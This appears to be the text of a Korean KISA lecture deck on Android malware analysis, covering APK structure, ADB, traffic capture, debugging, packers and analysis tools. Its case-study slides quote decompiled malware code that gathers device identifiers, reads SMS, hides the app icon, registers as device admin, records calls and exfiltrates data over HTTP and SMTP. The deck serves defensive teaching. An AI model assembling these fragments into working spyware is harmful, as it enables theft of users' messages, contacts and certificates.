Android Malware Analysis KISA 양인승
Contents Android Malware Staic Analysis Android Malware Dynamic Analysis Android Malware Analysis Environment
Android Malware? 02-705-8685 문자발송 안녕하세요. 금일모바일보안 ( 안드로이드악성앱강의 ) 수업장소강의실이다른곳으로변경되었습니다. 확인바랍니다. ttp://www.sogangmobsecurity*****.com 링크클릭 / 다운로드 MobSecu Lecture 대학원강의를듣는명단리스트 ( 전화번호 ) 확보 악성앱설치유도 설치시에악성앱감염
Recently, Smishing in Europe App Name / Package Name Overview [ source :, THE LATEST ANDROID OVERLAY MALWARE SPREADING VIA SMS PHISHING IN EUROPE, FireEye Report, 16.6.28 ]
Recently, Smishing in Europe(Cont.) Code structure and manifest file of obfuscated code
Android Malware Analysis (Abstract) 동적분석 정적분석 스마트폰 설치및감염 디컴파일 소스레벨코드 분석 탈취대상 SMS 발신번호파악 C2 주소파악및트래픽전송내용분석 문자메시지탈취코드분석 원격지차단조치 C&C 확인
Android Malware Static Analysis
Android Boot Process
Android Architecture SDK, JAVA NDK, C/C++
안드로이드설치파일 - APK(Android PacKage) 안드로이드어플리케이션설치를위한패키지, 즉압축파일 (zip) Android Studio JAVA Android SDK 1 개발 패키지에포함시켜 AssetManager 로관리할파일들포함 라이브러리를포함하는폴더배포시인증서로서명한내용, APK파일내폴더, 파일에대한 SHA-1 해쉬값컴파일되지않은리소스파일 ( 아이콘, 이미지, 음악등 ) 들이포함된폴더앱에대한설명및실행권한등의정보를지니는 XML 파일 Dalvik 가상머신에서동작하는바이너리실행파일컴파일된리소스파일
DEX(Dalvik Executable) Dalvik 가상머신에서동작하는바이너리실행파일 Android 2 설치 Applications 3 실행 Application Framework Libraries Dalvik VM Linux Kernel
ODEX (Optimizing Dalvik Executable) Optimized dex 로성능향상을위해 Hardware 에최적화되어만들어진 DEX 파일 App Install PackageManager /data/app/ /data/app-private/ /data/data/ /data/dalvik-cache APK 파일의심볼릭링크저장 복사된 APK 파일 패키지이름으로디렉토리생성 ODEX dex 파일을 dexopt 프로세스에의해검증하고최적화된파일
AndroidManifest.xml App 패키지명 사용권한 ( 무슨동작을할지추정가능 ) App 이름, 아이콘
AndroidManifest.xml Use-Permission
AndroidManifest.xml Activity 사용자와상호작용하는 UI 컴포넌트
AndroidManifest.xml Service UI 와상관없이 Background( 화면뒷단 ) 에서동작하는컴포넌트
AndroidManifest.xml BroadcastReceiver 방송을기다리고있다가, 이벤트발생시동작컴포넌트
AndroidManifest.xml Intent/Intent-filter 인텐트는일종의메시지객체로 Activity/Service 시작, Broadcast 를전달하며통신을용이하게함
AndroidManifest.xml Intent-filter
Content Provider DB 나파일에저장되는앱데이터를다루는인터페이스제공
SharedPreferences Key 와 Value 로이루어진파일형식으로데이터를저장 / 관리할수있도록제공 /data/data/< 패키지명 >/shared_prefs/ 에 xml 형태로저장됨
JNI(Java Native Interface) Java 언어와 C/C++ 로작성된네이티브코드간상호작용할수있는인터페이스 (Lib/armeabi/ 폴더아래 lib+ 라이브러리이름.so 로저장됨 ) Java 파일 C/C++ 파일
Obfuscation
Obfuscation 앱코드내문자, 클래스, 메서드등을난독화하여을어렵게함 난독화 (ProGuard) 적용전 난독화 (ProGuard) 적용후
분석의시작점 Q1. App 실행시가장먼저나타나는 Activity 는?
분석의시작점 Q2. Activity, Service class 내에서실행순서는?
분석의시작점 Q3. 빠른분석을위해서는? NPKI JNI HTTP SMTP PDUS
Android Malware Dynamic Analysis
Android Debug Bridge(ADB) 안드로이드에뮬레이터및기기에접근하여명령을수행하는도구 <sdk>/platform-tools/ 에있음
ADB Shell Commands Adb devices : adb 서버에연결된장치목록표시 Adb shell : 장치로의커맨드쉘명령이용 Adb install [-l][-r] file_spec : 패키지설치 Adb uninstall [-k] package : 패키지삭제 Adb push local remote : 파일올리기 Adb pull remote local : 파일내리기 Adb forward port port : 포트포워딩 Adb reboot : 장치재부팅
Network Monitoring
Network Monitoring 1 RootExplorer 로 Tcpdump 복사 2 adb 로접속후 Tcpdump 실행 3 adb 로저장된 pcap 파일을 PC 로꺼내확인
Network Monitoring 1 구글공식마켓에서 tpacketcapture 다운로드 2 tpacketcapture 실행후, 네트워크모니터링대상악성앱실행 3 PC에서상세히패킷분석
Network Monitoring
System Monitoring
System Monitoring adb 로접속후 ps adb 로접속후 netstat
Dalvik Debug Monitor Service(DDMS) Android DDMS 을이용한모니터링 장점 : 기본제공기능, 시스템라이브러리로그확인기능단점 : 제작자가로그함수를제거하였을경우애플리케이션로그확인제한적
IDA Remote Debugging GDB Server 와 IDA 를이용한 GUI 환경시스템라이브러리디버깅 Step0. find android_server binary on your host machine
IDA Remote Debugging GDB Server 와 IDA 를이용한 GUI 환경시스템라이브러리디버깅 Step1. move android_server to your target and execute!
IDA Remote Debugging GDB Server 와 IDA 를이용한 GUI 환경시스템라이브러리디버깅 Step2. port fowarding
IDA Remote Debugging GDB Server 와 IDA 를이용한 GUI 환경시스템라이브러리디버깅 Step3. IDA Pro Configuration
IDA Remote Debugging GDB Server 와 IDA 를이용한 GUI 환경시스템라이브러리디버깅 Step4. Choose Process
IDA Remote Debugging GDB Server 와 IDA 를이용한 GUI 환경시스템라이브러리디버깅
Packer classes.dex 파일을암호화, 동적으로런타임시복호화하여메모리에서 DexClassLoader 를통해실행 [ Source : Dongwoo Kim, Jin Kwak, and Jaecheol Ryou, DWroidDump: Executable Code Extraction from Android Applications for Malware Analysis, International Journal of Distributed Sensor Networks Volume 2015]
Obfuscation Vs Packer [ Source :SOPHOS ]
Memory Dump dump-code 를넣기위한분석된 DVM 사용 [ Source : Dongwoo Kim, Jin Kwak, and Jaecheol Ryou, DWroidDump: Executable Code Extraction from Android Applications for Malware Analysis, International Journal of Distributed Sensor Networks Volume 2015]
TraceDroid(OnlineService) http://tracedroid.few.vu.nl/
VirusTotal(OnlineService) https://www.virustotal.com/
Android Malware Analysis : Case Study
Permission 정보확인 문자전화번호부설정인터넷 폰상태 부팅하자마자
기기정보유출의심 API 수집정보폰번호 MMC+MNC IMEI Model/Build 정보 Network 상태정보 MAC address 계정정보위치정보 API or 변수 TelephonyManager.getLine1Number(); TelephonyManager.getNetworkOperator(); TelephonyManager.getDeviceId(); Build.MODEL Build.VERSION.SDK_INT ConnectivityManager.getActiveNetworkInfo();isConnected(); WifiInfo.getMacAddress(); AccountManager.get(context).getAccounts(); location.getlatitude(); location.getlongitude();
Data 전송방식 방식 POST GET 파일전송메일전송 Code 예시 HttpPost v1 = new HttpPost(v0); v1.setentity(new UrlEncodedFormEntity(((List)v3), "UTF-8")); HttpResponse v2 = new DefaultHttpClient().execute(((HttpUriRequest)v1)); BufferedReader v1_1 = new BufferedReader(new InputStreamReader(new DefaultHttpClient(((HttpParams) v1)).execute(new HttpGet(v0)).getEntity().getContent())); String v3 = v1_1.readline(); File v4 = new File(String.valueOf(this.getSDPath()) + "/aaa.zip"); DefaultHttpClient v2 = new DefaultHttpClient(); MultipartEntity v7 = new MultipartEntity(HttpMultipartMode.BROWSER_COMPATIBLE); v7.addpart("source", ((ContentBody)v0)); v6.setentity(((httpentity)v7)); HttpEntity v8 = ((HttpClient)v2).execute(((HttpUriRequest)v6)).getEntity(); this.mailhost = "smtp.gmail.com"; this.user = user; this.password = password; Properties v0 = new Properties(); v0.setproperty("mail.transport.protocol", "smtp"); MimeMessage v1 = new MimeMessage(this.session); Transport.send(((Message)v1));
인증서유출 1 인증서폴더 (NPKI) 존재여부확인 2 zip 압축
Database(Contact, SMS 등 ) 접근 Uri v1 = Uri.parse("content://sms/"); String[] v2 = new String[]{"_id", "address", "body", "date", "type"}; Cursor v7 = context.getcontentresolver().query(v1, v2, null, null, " _id desc limit 5"); ContentResolver: Application 이 Content provider 내의 data 에 access 하기위해사용 Cursor: Database query 를통해얻은결과가 Cursor 객체에포함되어반환하게됨
Database 접근 ( 몸캠피싱사례 ) 2 악성앱추가설치 3 녹화된몸캠협박 ( 실행시저장된연락처유출 ) ( 금전요구 ) 1 스카이프를통해음란채팅유인 연락처에저장된친구들
Database 접근 ( 메신저사례 ) 카카오톡 DB 저장위치 대화내용테이블 악성앱은일부모바일메신져의대화내용을복호화하여전송 ( 암 / 복호화에쓰이는키값이 user_id 로가능하였음 )
도청 녹음을위해서는 MediaRecorder 를사용 전화내용녹음을위해서는 TelephonyManager API 를이용 전화를모니터링하여, oncallstatechanged() 에서 state 값에따라동작 incomingnumber 로발신번호확인하여녹음 현재통화중 폰이울리는중 통화중이아님
문자수신시탈취 수신된문자에특정문자 ( cmd# ) 로시작하면, 이어지는문자내용을새로운 C2 주소로변경 신규문자를전송
아이콘숨기기 App 의런처아이콘을숨겨사용자가악성앱설치를의심하지못하게함 PackageManager.setComponentEnabledSetting(ComponentName componentname, int newstate, int flags) NewState 2 : COMPONENT_ENABLED_STATE_DISABLED Flag 1 : DONT_KILL_APP
기기관리자등록 기기관리자로등록하여 App 의삭제를어렵게함 Intent v0 = new Intent("android.app.action.ADD_DEVICE_ADMIN"); v0.putextra("android.app.extra.device_admin", this.componentname); v0.putextra("android.app.extra.add_explanation", "Install"); - 사용자의동의가있어야등록 - 기기관리자로등록되면어플리케이션에서바로삭제안됨 - 보안 > 디바이스관리자 > 해제후삭제됨
설치앱정보획득 PackageManager.getInstalledPackages()
Assets/Raws 추가앱을 drop 하여설치
Uninstall/Install 설치된정상앱을 Update 한다고유도하여악성앱으로교체 기존앱삭제 APK 파일설치
Resource Resource 에서직접읽어오는값을확인하는방법 1 getresources().getstring( ID 값 ); 에서 10 진수 ID 값확인 2 ID값을 16진수로변환하고 public.xml에서해당 id를찾음 3 strings.xml에서 id 값을확인 Res/values/public.xml Res/values/strings.xml
Resource( 백신사칭사례 ) 실제모바일백신에서사용되는문자내용과이미지를사용 ( 정상앱인것처럼하여속이기위함 )
난독화 (DES,AES 알고리즘 ) 분석 Mon(***.***.166.32) Tue(***.***.166.43) Wed(***.***.166.44) Thu(***.***.166.45) Fri, Sat, Sun(***.***.166.46) DES 로암호화된 Dex 파일 C2 IP 가요일별로 AES 로암호화됨
난독화 (APKProtect) 분석
난독화 (APKProtect) 분석 상세 URL 등주요정보가난독화 복호화
난독화 (APKProtect) 분석
난독화 (APKProtect) 분석 getstacktrace()[1] : StackTrace 의정보를이용하여한수준이전의 Class 명과 Method 명을가져와서복호화키에사용
난독화 (APKProtect) 분석 복호화하여나온정보유출지주소와 URL 정보
패킹 (BANGCLE) 분석 BANGCLE 프로텍트사용중확인 패킹되어정적분석이어려우며, 실행중클래스를로드하여사용함
패킹 (BANGCLE) 분석 Native Code 를 JNI 를통해사용 동작중인특정프로세스를확인하여중단시킴 기기정보 /SMS 유출등악성기능확인 특정번호로전화가올경우받도록유도하는화면표시
패킹 (BANGCLE) 분석 DDMS 를통해 Native code(so) 실행확인 앱삭제방해기능 ( 허위삭제알림 ) 네트워크모니터링 : 외부로기기정보암호화하여유출
난독화샘플분석 악성앱제작자가만든내부함수를통해 C2 주소문자열복호화 문자를디코딩하여 C2 주소로변경 ) 추가신규악성앱다운로드시도
Andoird Malware Analysis Environment
Android Studio 구글에서안드로이드개발을용이하도록하는공식적인 IDE 프로그램으로개발자에게제공 다운로드주소 : https://developer.android.com/studio/index.html 버전명 : Android Studio 2.2.2 (2016.11 기준 )
JDK(Java Development Kit) 안드로이드는자바를기반으로하는플랫폼으로분석시 JDK 설치가필요함다운로드주소 : http://www.oracle.com/technetwork/java/javase/downloads/index.html 버전명 : Java SE 8u111 / 8u112 (2016.11 기준 ) 운영체제에맞게다운로드
안드로이드 SDK 설치 안드로이드애플리케이션구동을위해 SDK 설치및설정이필요
이클립스설치 안드로이드애플리케이션개발및분석을위한편집도구 ( 안드로이드 SDK 에포함 ) 다운로드주소 : http://www.eclipse.org/ 버전명 : Eclipse for Android Developers(Neon, 2016.11 기준 ) 운영체제에맞게다운로드
이클립스에안드로이드 ADT 플러그인설정 안드로이드개발용이클립스플러그인 ADT 추가설치이클립스 [Help] [Install New Software] 클릭
ADT 를이용한안드로이드 SDK 추가설치 안드로이드개발자사이트에공개된 SDK 의추가설치공개된 SDK 의경우기본프로그램만있어인터넷을통한추가설치작업이필요 [Windows-Android SDK Mnager] 선택후추가로필요한 SDK 요소를다운
Android Reverse Engineering(ARE) Tools Apktool : http://ibotpeaches.github.io/apktool/ Dex2jar : https://code.google.com/p/dex2jar/ JD-GUI : http://jd.benow.ca/ BakSmali/Smali : https://github.com/jesusfreke/smali JEB : https://www.pnfsoftware.com/ IDA Pro : https://www.hex-rays.com/products/ida/
Apktools Apk 내부파일확인 http://ibotpeaches.github.io/apktool/
Smali/baksmali Dalvik executable(.dex) 파일을읽기 / 변경가능한코드 (.smali) 로변경
Dex2Jar Dex 파일을 jar 파일로변환 http://sourceforge.net/projects/dex2jar/
JD-GUI JD-GUI 를통해서 jar 파일확인 http://jd.benow.ca/jd-gui/#jd-gui-download
Apk to JAVA APK 디컴파일부터 jar 파일변환까지도구들을엮어만든통합툴
Demonstration
Thank you!